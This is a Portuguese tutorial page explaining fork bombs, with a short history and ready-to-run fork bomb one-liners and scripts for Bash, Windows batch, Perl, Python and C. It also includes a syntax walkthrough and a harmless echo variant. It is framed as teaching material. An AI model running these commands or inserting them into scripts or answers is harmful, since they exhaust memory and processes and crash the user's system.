Seu Curso

  • Full Screen
  • Wide Screen
  • Narrow Screen
  • Increase font size
  • Default font size
  • Decrease font size

Fork Bombs

Imprimir
Avaliação do Usuário: / 5
PiorMelhor 

Definição

Fork Bomb nada mais é do que um código que tem a capacidade de se auto replicar indefinidamente e, assim, tomar todos os recursos de memória e de processamento da máquina onde foi executado. Como os recursos das máquinas não são inesgotáveis, ele acaba por colapsar o sistema, a menos que medidas de correção sejam tomadas a tempo (o que é muito difícil de se fazer!).

Há relatos de que os primeiros Fork Bombs foram utilizados por estudantes da Universidade de Washington em 1969. O código em questão fazia duas cópias de si mesmo e se auto executava até que o sistema fosse derrubado.

Este tipo de código recebe o apelido de “rabbit job” (trabalho de coelho) ou “wabbit” em alusão ao personagem Elmer Fudd da Looney Tunes.

Antes de mais nada, é importante ressaltar que esse tipo de código deve ser utilizado apenas a fim de aprendizado. Seja responsável em suas atitudes!

 

Vamos por as mãos na massa!

Geralmente não é necessário ter privilégios de super usuário para se criar ou executar um Fork Bomb na maioria dos sistemas. Então, cabe ao administrador gerir os privilégios de cada usuário e como eles utilizarão os recursos disponíveis.

 

No Linux:

Abra o terminal e digite o comando abaixo.
:(){ :|: & };:

O seu funcionamento é o seguinte:

:() - Cria / define uma função chamada “:”.

{ :|: &} - Executa a função “:”, a coloca em segundo plano e direciona sua saída para a função “:”.

; - Serve como separador na linha de comandos (equivalente a &&). Permite rodar outro comando em seguida.

: - Executa a função “:”.

É possível desarmar a Fork Bomb em questão com o comando kill, mas você vai precisar ser rápido o suficiente para fazer isso antes que o sistema morra por inanição de recursos. Outra forma mais compreensível de obter o mesmo resultado é a seguinte:

bomb(){
bomb | bomb &
};
bomb

O código acima torna torna mais fácil a compreensão do que está acontecendo. É possível notar como a função se executa e chama a si mesma. ;)

Um bom exemplo pra compreender o que está acontecendo sem quebrar seu sistema é o seguinte:

bomb(){
echo “FORK BOMB”;
};
bomb

No Windows:

Crie um arquivo forkbomb.bat com o seguinte código:

:bomb
start %0
goto bomb

Ou apenas execute o comando abaixo:

%0|%0

 

Em Perl:

perl -e "fork while fork" &

 

Em Python:

import os
  while(1):
      os.fork()

Em C:

#include 
int main(){
   while(1)
      fork();
 }

Se você gostou desse tutorial e gostaria de contribuir com seu código em outras linguagens de programação ou script, não deixe de comentar. Eu ficarei feliz em inserir seu código e dar os devidos créditos aqui. ;)

You are here: